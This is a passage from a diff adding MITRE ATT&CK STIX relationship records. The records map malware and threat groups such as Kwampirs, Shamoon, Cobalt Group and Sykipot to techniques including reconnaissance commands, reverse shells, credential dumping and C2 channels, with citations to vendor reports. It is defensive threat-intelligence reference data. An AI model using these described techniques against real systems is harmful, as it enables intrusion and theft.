"target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects lists of local accounts with administrative access, local group user accounts, and domain local groups with the commands net localgroup administrators, net localgroup users, and net localgroup /domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--fb243cd7-7dec-4836-a341-c9e30c0099ee", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.054Z", + "id": "relationship--f08c1f67-485b-4ebd-81dd-e886f63025e6", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.273Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) file stealer can run a TaskScheduler DLL to add persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1e666715-f087-44ad-aaa5-d22fbda42fba", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.778Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has encrypted documents and malicious executables.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0c81e49d-53be-4fba-9a07-ec2fe5501267", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.412Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "description": "When a document is found matching one of the extensions in the configuration, [TINYTYPHON](https://attack.mitre.org/software/S0131) uploads it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ff922dd7-21b6-4f95-bb8b-080d0dee6655", + "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can obtain a list of running processes on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--14639d10-6371-4e84-a637-a0e5846cb053", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to obtain the time zone information and current timestamp of the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--242236fe-a0b6-4cf0-b604-beb57ce9925a", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can download additional files and payloads to compromised hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--8e7887b3-f622-4860-9bda-3f4ab6231393", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.515Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + }, + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[TDTESS](https://attack.mitre.org/software/S0164) provides a reverse shell on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ce424541-5cfa-4885-ad62-f3f70fa27099", + "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used Regsvr32 to bypass application whitelisting techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f832e042-6859-4415-9b6c-4e093dc955ec", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.084Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) executes functions using rundll32.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a20b8e4c-330f-4e91-b4f6-e58e5800d690", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) contains screen capture functionality.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6f01abdc-bd94-4645-afed-8d3bd365bba4", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[iKitten](https://attack.mitre.org/software/S0278) lists the current processes running.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5647be4e-ef31-4b7d-a2d1-7feefafab345", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used public sites such as github.com and sendspace.com to upload files and then download them to victim computers. The group's JavaScript backdoor is also capable of downloading files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--07ab4fde-e1fd-4740-863e-c40cc8722d32", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.633Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "source_name": "Morphisec Cobalt Gang Oct 2018", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used PowerShell for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6e6828ca-7567-4302-8ed7-fa5821dc5bbc", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:54.966Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.072Z", + "id": "relationship--6ed5961a-224a-419b-b696-8962813158f2", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.853Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--be2798b5-a9bc-409d-bdf5-eaca8f2eb94e", + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "modified": "2019-03-25T17:06:37.182Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) used stolen certificates to sign its malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.079Z", + "id": "relationship--f28627be-fddd-455c-b001-abddaaa29fa7", + "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "modified": "2019-03-25T17:15:03.466Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "description": "[Umbreon](https://attack.mitre.org/software/S0221) provides additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9b906d63-83bd-46de-909e-80a8712b94de", + "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", + "source_name": "Umbreon Trend Micro", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "A variant of [Emissary](https://attack.mitre.org/software/S0082) appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d200ba08-8179-495e-a854-9b13be5c0f93", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "source_name": "Emissary Trojan Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[RTM](https://attack.mitre.org/software/S0148) strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d5c86dd3-3cfa-4ade-8984-fdf079b9f81b", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can gather the victim computer name and serial number.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ec3f88b1-ba85-497f-91d0-3eb8dcc5c4f1", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) stores the encoded configuration file in the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Security.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bd8fec61-37c8-489b-a74b-424ff85222ad", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:02.959Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "source_name": "Symantec Volgmer Aug 2014", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) communicates via DNS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a403648d-4c23-46bd-9688-1face1407b42", + "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) copies an executable payload to the target system by using [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) and then scheduling an unnamed task to execute the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8dd9d97d-0eb1-4e17-94ac-5589db51f878", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.185Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "source_name": "FireEye Shamoon Nov 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[jRAT](https://attack.mitre.org/software/S0283) has a function to delete files from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--417552c3-3db4-491a-86bb-7fe2c513d406", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.331Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.025Z", + "id": "relationship--4f2dbf3d-70f6-42d9-8894-c98d8bc70abc", + "source_ref": "course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908", + "modified": "2019-07-24T14:24:45.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "The [DustySky](https://attack.mitre.org/software/S0062) dropper uses a function to obfuscate the name of functions and other parts of the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--40772ec1-2f25-425f-aad5-635f64ba8fd2", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) runs tests to determine the privilege level of the compromised user.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a1e9769e-5172-4959-84d3-5a28796f86e1", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used various tools to perform credential dumping.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--8f897f1c-7bc6-4a85-8d3b-627f976af215", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.203Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) contains keylogging functionality to steal passwords.", + "created_by_ref": 